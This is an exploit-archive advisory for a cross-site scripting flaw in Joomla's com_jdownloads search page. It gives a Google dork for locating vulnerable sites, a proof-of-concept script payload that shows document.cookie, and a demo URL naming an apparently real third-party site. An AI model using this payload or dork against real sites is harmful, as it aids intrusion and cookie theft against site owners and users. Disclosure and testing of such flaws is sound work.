Home / exploits

PDF

Joomla com_jdownloads Cross Site Scripting

Posted on 19 August 2013

<pre>#####################################
Title:com_jdownloads xss Vulnerability
#####################
##############################################################

  __  __          _____  _      ______ ______ _______ _____
 |  /  |   /   |  __ | |    |  ____|  ____|__   __/ ____|
 |   / |  /    | |  | | |    | |__  | |__     | | | (___
 | |/| | / /  | |  | | |    |  __| |  __|    | |  \___ 
 | |  | |/ ____ | |__| | |____| |____| |____   | |  ____) |
 |_|  |_/_/    \_\_____/|______|______|______|  |_| |_____/

##############################################################
#Author:Darksnipper  &amp; Dream.killer

#Email:Darksnipper@live.com

#####################################
#Home:-	 www.MadLeeTs.com
#####################################

Vendor Link:Www.jdownloads.com

Dork:-inurl:&quot;component/jdownloads/search&quot;

Tested On:- Windows 7,Linux,Windows xp

######################################################################
#P.o.c

http: //127.0.0.1/components/jdownloads/search

payload

&lt;script&gt;alert(document.cookie)&lt;/script&gt;

Demo:-

http://dsya.goXXv.in/component/jdownloads/search

payload:-
&lt;script&gt;alert(document.cookie)&lt;/script&gt;


########################################################################
Greetz:Dream.killer,Soul~inj3ct0r,Error Haxor,Fazil
Mir,Force-Ex,x3o-1337,Shadow008,1337,H4x0rl1f3,Invectus,Sahrawi
Hacker,HaXor KaKKa,Retno Pro, Tr4ck3r,b0x,Gujjar Pcp,madc0de Haxor,P4k
Command3r,Pain006,Anon DeXter,MindCracker,Ap3x Pr3d1at0r,Ment@l
Mind,Sujit Ujale,All Madleets Members,Kashmiri Hackers &amp; All Freedom
Fighters.
########################################################################
</pre>

 

TOP